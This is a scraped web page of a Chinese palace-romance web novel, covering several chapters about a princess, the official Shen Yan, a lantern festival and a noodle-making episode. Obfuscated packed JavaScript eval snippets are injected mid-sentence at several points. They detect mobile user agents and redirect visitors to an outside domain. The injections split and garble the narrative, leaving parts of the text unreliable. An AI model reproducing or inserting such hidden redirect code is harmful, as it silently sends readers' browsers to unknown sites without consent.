秦拂郁闭上眼,默默忍受着身上的伤痛,等待庄秋为自己请来大夫。 然而一直等到日落西山,都没瞧见庄秋的身影。 就在秦拂郁快要失望时,外面忽然有人敲门。 肯定是庄秋回来了! “进来!” 屋门推开,店小二笑着走进来。 “客官方才点的一桌菜是一两银子,客官现在把账结了吧。” 秦拂郁恼火:“我都成这样了,哪儿还点得动菜?就算点了我也没力气吃!” 店小二脸上的笑意消失,“客官不会想赖账吧?” 秦拂郁瞧出不对,忽然问道:“可是那同我一起进来的妇人吃了?” 店小二哼了一声:“就是她!她吃完借口上茅房就跑了,你们是一起的,这银子就该你来出!” 秦拂郁险些被气死! 这个庄秋,不仅没帮他请大夫,还接着他的名头吃了一顿霸王餐! “我身无分文,身体受了重伤,我没银子给,你们谁吃的找谁去!” “唷呵?吃霸王餐还这么硬气?看来是我们小店太客气了!来人!” 一下子从外面冲进来两个壮汉。 这店小二大手一挥:“将这吃霸王餐的混账从店里丢出去!” 两个壮汉一个抄胳膊一个抬双脚,就这么将秦拂郁给丢出了大门。 秦拂郁本就受了重伤,这么一扔险些将他的魂给震出来。 真是要了老命了! 怎么重生一世,他的命更悲惨了!!! 便在此时,大理寺的官差来到他面前,上下打量他一番,然后对身边的官差说道: “秦拂郁半死不活,抓回去怕是要死在牢里,听说他还有个健康的母亲,便将他的母亲抓进去帮他坐牢。” “我看行!” 这几个官差从秦拂郁身边走过去,满城寻找庄秋。 最终在一条安静的小巷子里找到了饭后酣睡的她。 官差二话不说,抓住她就关进了大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377308|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理寺。 据说那一晚大理寺里头净是庄秋的骂声,每一句骂声中都有‘秦拂郁’三个字。 话说回来。 乔楹月带着沈砚回城,亲自将他送回他的私宅中,扶着他躺下后准备离开,这厮抓住了她的袖子。 “公主,微臣病了?” 乔楹月上下打量他,除了表情有些柔弱之外,其他没什么不对的。 兴许真是吓到了? 可他不是个胆小的。 难道是装的? “沈大人莫不是装病吧?” 沈砚委屈的用袖子掩住口鼻,轻轻咳嗽,咳了好几下后才柔弱的叹气。 “崖上的风太大,微臣的病本就没好全,这一下是旧病复发,比之前还要严重了。” 乔楹月不太相信,但见他的表情不像撒谎,想了想,还是说道:“本宫帮你请大夫?” 沈砚点头:“多谢公主。” 乔楹月走到外间,吩咐红豆去太医院,将宋鹤柳请来。 不一会儿宋鹤柳便背着药箱前来,看见乔楹月坐在沈砚的榻边,他的眸子颤了一下。 快步走过去,他先朝两人行礼,随后询问了沈砚的身体情况。 乔楹月直说时寒风入体,有些咳嗽。 宋鹤柳为沈砚诊脉,反复诊了两次,都没发现任何问题。 看来这位沈大人是故意装病,以此博得公主的同情! 宋鹤柳心中很不舒服,但他很快便将这抹不舒服掩去,恭恭敬敬的向乔吟月回禀。 “回禀公主,沈大人确实有些风寒入体,不过并不严重,只需要喝些苦荞汤便可。” 苦荞汤,顾名思义,很苦。 要问宋鹤柳为什么非要开苦荞汤? 因为它苦! 不一会儿,苦荞汤端到了沈砚的榻前,屋内顿时弥漫一股浓烈的苦味儿。 沈砚皱眉时,一勺子苦荞汤已经抵到了唇边。 “沈大人喝药。” 沈砚撇开头,轻咳道:“微臣好像已经好了许多。” 宋鹤柳笑盈盈说道:“沈大人的病需要断根才行,这汤药还是要喝。” 乔楹月不容置喙的将勺子往他唇上碰了一下。 “快喝药吧!” 第一百三十六章同游灯会 一碗苦荞汤下肚,沈砚已经生无可恋。 宋鹤柳功成身退。 屋内只剩下乔楹月和沈砚两人,沈砚靠着床头,虚脱的请求着。 “微臣口中太苦,想吃蜜饯。” 这私宅之中没有蜜饯。 乔楹月派红豆去街上买回来,将一碟子蜜饯递过去。 沈砚又有要求。 “微臣的手没力气。” 想让她喂。 行。 “沈大人张嘴。” 沈砚乖乖张嘴,一个蜜饯放入口中,顿时缓解了喉咙口的苦,皱着的眉缓缓平展。 乔楹月便站了起来。 “既然沈大人的身体好了,本宫便回府了。” “微臣没好。” 乔楹月低头瞧他半晌,最终还是坐了回去。 “怎样做沈大人才能好?” “若是微臣和宋院正同时掉入河中,公主先救谁?” “沈大人。” “若是宋院使也问公主这个问题,公主的回答是?” “也是沈大人。” “若是微臣和宁将军掉入河中……” “依旧是沈大人。” 沈砚英俊的脸上由衷散发微笑。 乔楹月笑着问:“沈大人的病现在可好了?” 沈砚却摇头。 这下乔楹月有些不耐烦了。 “沈大人莫要得寸进尺!” 沈砚委屈道:“微臣也想和公主逛元宵灯会。” 乔楹月忍了一口气,“行。” 随后她问:“沈大人的病现在可好了?” 沈砚笑逐颜开:“全好了。” 这会儿天色实在不早了,乔楹月倒不是担心自己的名声,而是白天折腾了半天,这会儿她实在太累了。 见沈砚终于不闹了,她便沉声问出了心底的疑惑。 “你分明可以自救,为何非要等着本宫过来?” 沈砚垂下眸子,没说话。 是不想告诉她,又不想撒谎,所以选择了沉默。 乔楹月不解:“眼下的局面来看,应当是秦拂郁威胁了你。可秦拂郁没有威胁沈大人的能力。” 沈砚低声道:“他有。” 之后他便又闭了嘴。 是铁了心不打算告诉她原因。 乔楹月心下充满疑问,却也知道沈砚的性子,他不想说,自己是问不出来的。 罢了,反正事儿已经解决,问这么多没什么意义。 “行,本宫走了。” 乔楹月起身回了府。 她前脚刚走,沈匆后脚便进内室向沈砚禀报。 “大人,青衣巷那便没有发现任何异常,颜倾柔先前租赁过的屋子属下仔细搜了,没找到类似画像的东西。 属下也派人审问了和秦拂郁有关的人,没有任何异常。” 沈砚冷笑。 看来他被秦拂郁耍了。 他能清楚说出乔楹月胸口有胎记,还说画了许多她的那种画像。 他用乔楹月的画像威胁,若他不答应,便要将画像四散出去。 即便不相信他所说的,他也不敢有所纰漏。 只是经历过崖上一幕以后,他也有些明白过来。 怕是秦拂郁所说不一定为假,他当真和乔楹月有过亲密的举动,才会知道她的胸口有胎记。 连他都不知道乔楹月胸口到底有没有胎记…… 乔楹月回到府上,刚要洗漱,林酒带着一个好消息前来禀报。 “回禀公主!属下查到了终氏一族,属下是让人带着终姑娘的画像比对,才发现了终氏一族。 终氏一族在云州,是当地的名门望族,终姑娘的模样和那位族长有三分相似!” 乔楹月一喜,然而林酒却又道:“不过属下现在还在核实,等核实清楚以后,才能让终姑娘回家认亲。” 虽然不能立刻认亲,但比起亲人无着落,眼下已经是最好的局面了。 核实也要不了多久,所以终斩玉很快就能找到自己的家人! 次日的晚上便是元宵灯会。 天色黑下来以后,盛京城内亮起一盏盏花灯,美轮美奂。 乔楹月和沈砚在金樽居碰面,进雅间坐了一会儿,姬南萱便和尚曀一同进来了。 然而随着他们进来的,还有宁烽这个小尾巴。 姬南萱不悦的问他:“你什么时候跟过来的?” 宁烽看了乔楹月一眼,闷声道:“是不是我不跟过来,你们就要将我撇开?” 这话里充满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他一脸霸道的将手中的花灯塞给乔楹月,风流倜傥的朝她说道。 “在下李四,祖上都是当官的,家底十分丰厚,姑娘若不嫌弃,可回家做在下的妾!” 第一百三十七章当街比试 沈砚想到秦拂郁猜灯谜赢得了花灯,亲手送给了乔楹月,他便对这无趣的活动格外有兴趣。 他一连猜对了一半的灯谜,那盏做为奖品的花灯已是囊中物。 乔楹月得到他的花灯,就会淡忘秦拂郁的那旖盏。 沈砚脸上露出温柔笑意,扭头看向灯会外头的小姑娘,当即黑了脸。 “姑娘有礼!在下王五,尚未娶妻,不知姑娘芳龄几何,家住何处!” “姑娘!在下……” …… 不过是一眨眼的功夫,乔楹月的身边便围拢了许多男子。 这些男人自报家门,明显有求娶之意。 乔楹月脸有些黑时,林酒挡在了她的面前,硬朗的一张脸上浮现杀意。 “离公主远些!否则全部剁手!” 张三听后乐了,“这盛京就只有一位怀宁公主,那位公主身份高贵,怎会同我们逛这灯会。” 她身份确实高贵,但谁说她不逛灯会? 李四也笑称:“在下是怀宁公主的蓝颜知己,公主对在下十分亲近,你这小姑娘虽然模样美丽,却不是怀宁公主!” 这模样? 她的蓝颜知己? 乔楹月憋不住想笑,便在这时,王五忽然惊叫起来,慌乱的甩掉自己的花灯,疯狂的在身上拍打起来。 只见这王五的花灯凭空燃烧起来,撩到了他的衣袍。 张三和李四的花灯也先后燃烧,两人和王五一样鬼叫着拍打身上的火苗。 便在这时,沈砚笑盈盈走出来,将一盏花灯放入乔楹月的手中。 “微臣赢来的花灯,送给公主。” 乔楹月看着手中的八角花灯,再看看那几个已经扑灭护苗,却满身狼狈的男子,顿时明白了一切。 是这厮暗中出手烧掉了人家的花灯! 他明明做了坏事,却一脸事不关己的为她送上花灯。 这个男人,好卑鄙。 不过,这些丑男四处乱搭讪也确实招人烦,这点惩罚是他们应得的。 那边,张三李四王五自然也看明白了局势,三人恨不得当场吃了沈砚。 不过沈砚的模样和气场确实让他们自卑,若是寻常的姑娘他们也就放弃了,可今日这姑娘格外漂亮,就这么放手,让他们实在很不甘心。 于是三人对了一个眼神,张三大声开口。 “这位公子的手段实在卑鄙,倘若是真君子,我们便来比试一番!赢的人才有资格和这位姑娘同乘画舫!” 沈砚淡淡道:“比什么?” 乔楹月一脸莫名其妙,她答应了吗就比? 张三一脸自信的道:“便比文采,对对联,我说上联,你对上联,你若能对上便由你出上联,我来对下联,最后对不上来的,便是输!” 沈砚面色风轻云淡:“好。” 张三先下手为强:“便由我先来出上联!” 随后张三出了一个华丽却没什么内涵的上联。 不出一息,沈砚便对出一个华丽且富有内涵的下联。 周围顿时一片喝彩声。 张三面上不好看,“该你了!” 沈砚慢悠悠说出一个优美而不失深奥的上联。 张三自诩文人才子,可这会儿却是抓耳挠腮,半天没对上来。 围观的路人开始起哄。 “你输了!快认输吧!” 张三咬牙:“在下认输!” 李四眸子微眯,一脸阴险的说道:“我们便来比试武功!” 文采好那肯定是个书生,书生皆是手无缚鸡之力,若是比武功,他肯定赢! 李四不等沈砚反应便忽然朝着他出手。 却被沈砚一脚踹飞出去。 半天没爬起来。 围观人群中传来一片嘘声。 王五顿时来了压力,他皱眉思考许久,忽然有了法子。 只见他当众脱掉上衣,大冷的天气冻得他汗**直立,他却毫不在乎,故意用力鼓起胸肌和肱二头肌,腹肌随着他的呼吸起伏着,这身材十分迷人。 未婚的姑娘瞧见红着脸躲开。 已婚的妇人瞧见兴奋不已,恨不得他当场脱光。 王五得意的挑衅沈砚。 “我们比身材,你敢脱吗?” 看眼前这男人的模样定是大家族出来的子弟,这些家族最是重视礼仪规矩,定做不出当众脱衣的事儿! 果然,沈砚深深蹙眉,半晌没动静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好在发现不对的姬南萱寻了过来,瞧见乔楹月的尴尬,立刻上前打圆场,并转移了话题。 这事儿刚落,身后又有**声唤‘公主’。 现在乔楹月听见有人叫自己就心烦,她皱着眉扭头,便见容明月一脸欢喜的朝着自己走过来。 新婚后的小女人容光焕发,又穿着件火红色的宫装,瞧着是面若粉霞,美艳极了。 楚怀快步跟上她,恭敬地朝着乔楹月行礼,随后又朝沈砚行礼,最后朝宁烽和尚曀点头示意。 容明月亲昵的挽住了乔楹月的胳膊,姬南萱走在乔楹月的另一边,如此一来,三个女人便走在了前头,四个男人跟在后面,互相之间没什么交谈。 乔楹月笑着问容明月婚后生活可合心意。 只见容明月的幸福快要从眼底溢出来。 “楚怀十分怜爱我,我的公婆也十分尊重我,我在楚家没有任何不顺心的地方。” 女子嫁人后的日子十个有九个不顺心。 如今容明月能够过得幸福,乔楹月真心为她感到高兴。 不过姬南萱更多是八卦。 她伸出脑袋隔着乔楹月问她。 “我记得你们似乎并未相看,怎会这么快成亲?” 大大咧咧的容明月忽然娇羞,“是楚怀上门来提亲,我对他各方面都很满意,原本我娘想将婚期定在半年后,可是楚怀的父亲病重,所以便急急忙忙的成亲了。” 姬南萱便明白了。 父亲去世儿子需要守孝三年。 可这楚怀忽然向容明月提亲,还这么着急成亲,还是让人觉得有问题。 莫不是借着父亲的事儿故意急着成亲,是为了掩盖什么事儿? 在姬南萱琢磨时,容明月主动说出了真相。 “我与楚怀成亲以后才知道,他竟然三年前就见过我,自那次以后,他心里便有了我,他胆小,一直不敢提亲。 后来我和沈砚相看的事儿被他知道,他得知沈砚对我不满意,一气之下就上门来了,说起来,还要感谢沈砚瞧不上我,我才能遇到这么好的夫君。” 容明月的这番话没有半点阴阳怪气,只是真诚的感慨自己的境遇。 乔楹月有些羡慕这样的感情。 姬南萱也很羡慕,她想起了自己和尚曀,不知道何时才能终成眷属。 容明月看见湖上飘着的画舫十分漂亮,有些忸怩的对乔楹月说道:“今日夜景怡人,不如我们坐画舫看看风景吧。” 乔楹月一看她表情就猜到她的小心思,笑着调侃道:“知道你想和你的楚怀泛舟湖上,我们可不去凑热闹。” 姬南萱捂着嘴笑,笑了一会儿她厚着脸皮说道:“其实,我也想跟尚曀泛舟湖上。” 好家伙,感情一个两个心里都只有男人。 最后乔楹月请客定了三艘画舫。 容明月和楚怀一艘。 姬南萱和尚曀一艘。 乔楹月和沈砚还有宁烽一艘。 可是姬南萱有些害羞,担心被外人瞧见,于是想了想,将宁烽从乔楹月的画舫上拉了下来。 “宁烽,你陪我!” 宁烽看见乔楹月的画舫离岸,沈砚那厮站在她的身边朝自己耀武扬威,气的不行,抱怨道:“你为什么不拉着公主陪你?” 姬南萱理所当然道:“那沈大人岂不是孤家寡人很可怜。” 宁烽气道:“我他、妈不可怜吗?” 姬南萱笑嘻嘻:“你本就不如沈大人,与其被沈大人比下去,不如自己体面离场。 “姬南萱!” “好好好,这么大火气做什么,上来,我们走了。” 姬南萱不由分说的推着宁烽上了自己的画舫。 两人之间的亲密全都落在了尚曀的眼中,他站在阴影中,嘴唇抿紧,一言不发。 画舫上点着许多花灯,光线虽然比不上白天明亮,但是喝酒吃菜并不耽误,而且似这种朦胧的光线更有情调。 小桌前,沈砚为两人倒酒,一脸谦和的和乔楹月碰杯。 “微臣敬公主一杯。” 乔楹月举杯饮下,酒水温热,入口极为香甜。 是十分香甜的米酒,味道甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385118|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜的没有任何酒气,可是几杯下来便会上头。 乔楹月脸泛红,靠在栏杆上,右手食指抵着额头,眼神有些迷离。 沈砚忽然伸手轻捏她的鼻子,发出温柔的笑声。 乔楹月皱眉,打开他的手,斥道:“放肆。” 都喝醉了,还要刺人,像只凶狠的猫儿。 乔楹月的脑袋太过昏沉,直接趴在了桌上,她想到了自己的母妃,心底涌现无尽的思念。 她嘟囔着说道:“我的母妃是世上最美,最好的女子。” 小姑娘绯红的脸上透着几分伤感,迷离的眼眸有几分湿润,像是有眼泪快要掉下来。 沈砚知道,小姑娘想念自己的母妃了。 阮贵太妃在乔楹月八岁便去世,此后虽然有先皇宠着她,可那份缺失的母爱依旧会在某一个时刻忽然冲入心底,无法挥散。 沈砚第一次进入锦园,在莲花池边听见小姑娘哭泣,他以为有人落水,游过去后只发现一艘小船。 他爬上小船四下寻找,水面忽然荡起水花,一个小小的脑袋钻了出来。 莹白的小脸沾满水,湿漉漉的头发贴在脸上,一双哭过的眸子还红着,却在看见他的第一眼痴痴的问他: “你叫什么名字?” 他回:“微臣沈砚。” 能出现在锦园,又有这般风姿的,就只有那位盛宠的怀宁公主了。 小姑娘爬上小船,竟是直接上手捏他的脸,认真的夸他。 “沈砚,你长得好俊俏,比我见过的任何男子都要俊俏。” 他有些不好意思,转而问她:“公主悄悄哭泣,是想阮贵妃了吗?” 小姑娘的小脸又伤感起来,“本宫想要母妃陪伴。” 不知为何,他不忍心看见小姑娘难过,便急促说道: “我可以陪你。” 小姑娘果然高兴起来:“好啊,你叫沈砚,你是沈丞相的儿子吗?” 他答是。 她便扬着神气的小脸发号施令:“我会让我父皇下令,让你爹每天送你进宫来陪我。” 他也笑眯眯的应好。 第一百三十九章亲手揉面 思绪从回忆中抽离,沈砚看着眼前已经长大的小姑娘,柔声问道:“公主愿意同微臣说说阮贵太妃的事儿吗?” 乔楹月的脑袋一下从桌面拔了起来,兴致勃勃的说道:“我的母妃不仅生得美,还有一手精湛的雕刻工艺,就连我也只是学了个皮**!” 沈砚诚心道:“即便只是皮**,也足够将任何事物雕刻得栩栩如生。” 乔楹月的脸又落寞下去,“母妃去世时感染了很严重的疫症,我连最后一面都未曾看见。” 此事沈砚听说过。 阮贵太妃是外出游玩时感染瘟疫去世,防止瘟疫在皇宫扩散,阮贵太妃的尸首并未进入盛京,而是直接送入皇陵下葬。 甚至沈砚还听说过另外一种猜测。 阮贵太妃并未去世,而是和野男人私奔…… 这个猜测并非凭空捏造,是有人发现阮贵太妃和外人行为亲密,而在传出阮贵太妃去世时,先皇曾秘密下令,全城搜索一个男人。 如果这个猜测是真的,那么先皇对阮贵妃的感情是深到了极致。 不过这些事儿沈砚不会告诉乔楹月,眼下见小姑娘情绪有些不高,他便主动找了话题。 “微臣听说被东陵纳入国土的凰族,便是十分擅长雕刻,凰族的雕刻工艺到了以假乱真的地步,叫人惊叹。” 乔楹月眼底浮现好奇:“凰国现在还有族人存在吗?” 沈砚摇头:“东陵攻下凰国以后将整个国家的人全部灭杀,别说人,便是连一条活下来的狗都没有。” 乔楹月恼怒:“东陵简直是畜生!” 东陵确实不是东西。 仗着自己国力强盛,便东征西伐,导致各国百姓苦不堪言。 乔楹月自己给自己倒了一杯酒,一饮而下,眼神比之刚才更加迷离。 她趴在桌上,抬着眼皮看沈砚,忽然站起来,隔着桌子去捏他的脸,认真道:“沈砚,你长得真好看。” 沈砚眸色微暗,忽然仰脸吻在她的唇上。 香甜的米酒弥漫在两人的口腔。 乔楹月缓缓闭上眼睛。 沈砚忽的将她抱起,拂开纱帘进入船舱之中。 在他入内的瞬间,第二层门帘被强劲的内力震下来。 沈砚将乔楹月放在矮几上,附身去吻她。 乔楹月的衣领被扯开,肚兜歪了,胸口的红色圆形胎记露出来。 沈砚盯着这胎记,想起秦拂郁说过。 “公主的胸口有一枚铜板大小的圆形胎记。” 这个胎记便是铜板大小。 沈砚霸道的吻了上去,仿佛是要将别的男人的痕迹全部抹去,只留下他的。 乔楹月醒来时已是次日清晨,她扶着脑袋回忆一会儿,终于想起昨晚都发生了什么。 沈砚疯狂吻她,在她快要守不住那道底线时,他停下来问她。 “微臣想……” 那一刻她什么都答应,便不等他说完就红着脸点头。 便听见沈砚继续往下说着。 “吃公主亲手揉的面。” 那种时候,他竟然想吃面。 当时的她尴尬极了,却要强行镇定的表示,她想的就是面条。 而沈砚一直看着她笑,像是什么都看穿了一般。 这已是昨夜的事儿,可这会儿乔楹月却依旧为此感到难堪。 混账沈砚!故意羞辱她! 想吃本宫亲手揉的面? 下辈子吧! 乔楹月不打算揉面,可沈砚却主动派了沈匆过来。 “小的拜见公主,我家大人说公主欠大人一碗面,特意派手下前来请公主前去煮面!” 让她去他的府上煮面? 沈砚他真是天大的胆子! 然而下一刻乔楹月就不生气了。 因为沈匆说完后就从袖子里拿出了一沓厚厚的银票,他恭敬地将银票放在桌子上,禀报道: “这些银子是用来修流光阁的,大人特意让小的送过来。” 这些银子得上万两了。 不看僧面也要看银子的面! 乔楹月心安理得的收下银子,乘坐马车去了沈砚的私宅。 沈砚在门口迎接她,并带着她去厨房,指着已经准备好的面粉。 “面粉在此,公主可以开始了。” 然而那银子是一炷香之前收的,这会儿乔楹月已经有些不高兴了,负气说道:“本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385119|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫不会揉面。” 沈砚冰凉凉说道:“可公主三番五次亲手煮面给秦拂郁吃。” 她什么时候亲手煮面给那个畜生吃过?? 哦,是前世。 那时候她满脑子只有沈砚,便不顾苦累,非要亲手揉面煮给他吃,甚至那底汤都是她连夜熬出来的鸡汤。 可是沈砚只是吃了一口就说面没熟,难吃,丢下筷子就走了。 乔楹月抬眼和沈砚的视线对上,便从他眼中看见当场抓包的怨气。 他仿佛在说:公主已经默认了煮过了,微臣不管,微臣也要吃。 乔楹月叹了口气,暗暗告诉自己:一万两银子煮一碗面,是她赚了! 生涩的加水和面,沈砚靠在厨房门口看着,气氛竟也温馨。 便在这时,苏眉无声无息的站在了厨房外,看见厨房里头的一幕以后,眼中便露出了浓浓的鄙夷。 是在鄙夷乔楹月没脸没皮倒贴她的儿子。 这表情正好被扭头的乔楹月瞧见,她的眉毛轻轻一挑,忽然对沈砚说道: “本宫的头发落在脸上有些痒,沈大人过来帮本宫拨一下。” 沈砚当即过来,用手将她脸侧的碎发挽到耳后。 苏眉的表情顿时很难看,像是恨不得将乔楹月当场撕了。 乔楹月眼底的戏弄更浓,故意小声的在沈砚耳边说道:“吻本宫。” 沈砚毫不犹豫吻下来。 高大的身子挡在灶台前,双手撑在灶台上,头颅低着,将她逼得险些躺下去。 见她站着吃力,他干脆将她抱起来,放在灶台上亲。 乔楹月被吻得七荤八素,这会儿哪儿还顾得上外头还有个苏眉,小声提醒沈砚。 “你戳到本宫了。” 沈砚急促的呼吸一顿,停止了这个吻,随后后退几分,一转身,便和苏眉愤怒的目光对上了。 这会儿苏眉的脸色已经铁青,一甩袖子就走了。 可是走了几步她又走回来,笑眯眯的朝乔楹月行礼。 “臣妇拜见公主!” 乔楹月走上前来,她的嘴唇红肿,泛着水光,目光冷淡的看着苏眉。 “沈夫人无需多礼。” 第一百四十章针锋相对 “不知臣妇可有幸能吃上公主亲手煮的面?” 苏眉满脸恭敬。 可隐藏在恭敬之下的是深深的针对。 乔楹月堂堂公主既然能为了勾引自己的儿子放低身段做这种事情,便证明她没什么脸皮。 既然如此,她便也羞辱一把好了。 乔楹月的眼睛眯了眯,不过还没等她说什么,沈砚已经开了口。 “公主身娇体贵,怎能做这粗活,便由微臣来做。” 苏眉的冷静瞬间破功,低斥:“砚儿!” 这份母亲的威严在沈砚这儿却没有任何威慑力。 如此,苏眉对乔楹月的羞辱便也成为了一颗黄莲,她自己给咽下去了。 更气人的是,沈砚亲手打了一盆水,当着苏眉的面帮着乔楹月洗干净手上的面粉。 原本乔楹月因为苏眉的态度心中有些火气,这会儿不仅不生气了,反而觉得沈砚是不是有些太过。 在沈砚揉面时,乔楹月和苏眉坐在小厅的八仙桌前,桌子中间放了茶点。 乔楹月心情不错的拈了糕点来吃,有些噎,便用茶水润喉。 苏眉瞧着她怡然自得的模样,气都气饱了,趁着出门透气的功夫,吩咐自己的丫鬟去办了一件事儿。 一炷香后,沈砚亲手煮的面端上了桌。 实话实说,卖相真不怎么样,但乔楹月不知为何胃口格外好,吃了满满一大碗。 倒是主动想要吃面的苏眉却只吃了一小口就放了筷子。 沈砚原本不饿,瞧见乔楹月吃的香,便也吃了一大碗。 吃完了面,苏眉也该回去了。 可她坐着没动,反而问沈砚。 “母亲记得你小时候便展现了极高的绘画天赋,母亲为了让你专心读书便不准你再画画,如今母亲想起来倒是有些可惜,若你能为母亲画一副画像就好了。” 沈砚淡淡反问:“母亲可惜是因为自己的年轻容颜没能留住,还是可惜儿子的爱好被您磨灭?” 苏眉有些伤心:“你在怪母亲吗?” 沈砚摇头:“未曾,我这样的出身并未受过苦,没什么可怨怪的。” 此话并非气话,虽然从小被母亲切灭了许多爱好,但这世间百姓很多刚够吃上饭,甚至很多颠沛流离,能不能活到明日都是未知数。 比起这些人而言,他的日子已是神仙般的日子。 此番他问苏眉的话,当真只是一点疑惑。 他不怪苏眉,却也与她亲近不起来。 可苏眉不这样认为,沈砚对她冷淡,她便认定他是因为幼**儿怨怪她。 乔楹月看出这对母子之间的气氛不好,想了想,说道:“本宫也想看看沈大人的画技。” 沈砚想都没想便应下了,“微臣便献丑了。” 原本乔楹月此举目的是缓和气氛。 可接连受气的苏眉却不这样认为,她觉得乔楹月故意打她的脸。 不过苏眉想到等会儿要做的事儿,便默默忍下了下来。 一盏茶后,庭院的桃花树下,画布在桌上铺开,苏眉坐在桃花枝下。 桃枝经历过冰冷的寒冬迎来春天,长出了小小的花骨朵,一朵朵含苞待放的露出淡淡的粉红,随意的伸展便是一副素雅的画卷。 苏眉的模样生得极好,说起来,沈砚之所以能这般俊俏,有七分像她,此刻她穿着狐狸**的桃紫色小袄侧坐在锦凳上,涂着丹蔻的双手优雅的交叠在腿上。 人比花娇。 心中虽然不喜欢苏眉,但乔楹月不得不承认,到了苏眉这把年纪还能像她这样漂亮的,除了她的母妃,这盛京城内找不出第二个来。 苏眉安静的坐着,沈砚认真的画着,乔楹月坐在一旁静静看着。 这片刻竟也十分温馨。 便在这时,有人在院外敲门,随后便传来了一道熟悉的声音。 “我是容旖纾,前来见沈夫人。” 沈匆来到沈砚面前,询问他的意思,没等他说话,苏眉便抢先吩咐。 “是我请来的,将人请进来!” 沈匆却没动,而是下意识看向自家大人。 空气就这般陷入死寂,最终是乔楹月开口打破了这恐怖的气氛。 “请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385120|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来吧。” 这次沈匆再去看自家大人的脸色,便见大人虽然没说话,但眉宇间的意思是同意,他松了一口气,赶紧去请人进来。 容旖纾走进小院,目光飞快将现场打量一遍,当看到乔楹月也在场时,她立刻明白苏眉请自己来的目的。 是自己斗不过乔楹月,便让她来帮忙。 虽然这种做法让她有些不高兴,但这是个可以接近沈砚的机会,她必须抓住。 东陵派她来到大周当奸细,交给她的任务便是用美人计搅乱盛京的水,届时东陵的大军便能轻易打破大周的城门。 这盛京城内盘根错节,她必须得到那些举足轻重之人的心,再从中挑拨,才能完成自己的任务。 进入盛京的这些年来,她努力展现自己,很快俘获一批男人的心。 可这些男人的地位还是不够高,即便让他们相互闹翻了也动不了大周的根基。 沈砚不仅自己优秀得圣心,他的父亲还是当朝的丞相。 若是能得到这个男人的心,再利用他的感情从中搅混水,以沈砚的能力,定能搅得这大周动荡不安。 届时大周自顾不暇,东陵想要攻下自是不费吹灰之力。 不过能力强的男人自然也不会那么容易蛊惑,这个现象在沈砚身上尤为明显。 还好容旖纾与他之间有一份恩情做为羁绊,她能比别的女人更容易接近他。 原本一切都在向着好的方向发展,可是那乔楹月却忽然杀了出来,将她的计划全部打乱! 她本和秦拂郁两情相悦,就因为她移情别恋,便要抛弃秦拂郁,来抢她的男人,这个女人很坏! 看来苏眉对她也不喜欢。 苏眉是沈砚的母亲,他再是喜欢乔楹月也会听从母亲。 今日有苏眉撑腰,她定能狠狠压乔楹月一头! 念头在心中闪过,容旖纾站定在了苏眉的面前。 “小女见过沈夫人!” 随后她又朝沈砚行礼:“小女见过砚哥哥!” 最后才朝着乔楹月行礼。 “臣女拜见公主!” 第一百四十一章品茶对诗 行过礼后,苏眉亲昵的对她说道:“砚儿正在帮我画像,你快过去帮他擦擦汗。” 擦汗这种事儿十分亲密,是身为妻子才能做的事儿。 眼下苏眉让容旖纾为沈砚擦,一半是被乔楹月气得神志不清,一半是她想告诉乔楹月,她心中已经将容旖纾认作儿媳。 乔楹月自然明白苏眉的意思,心中虽有波澜,却并未多生气。 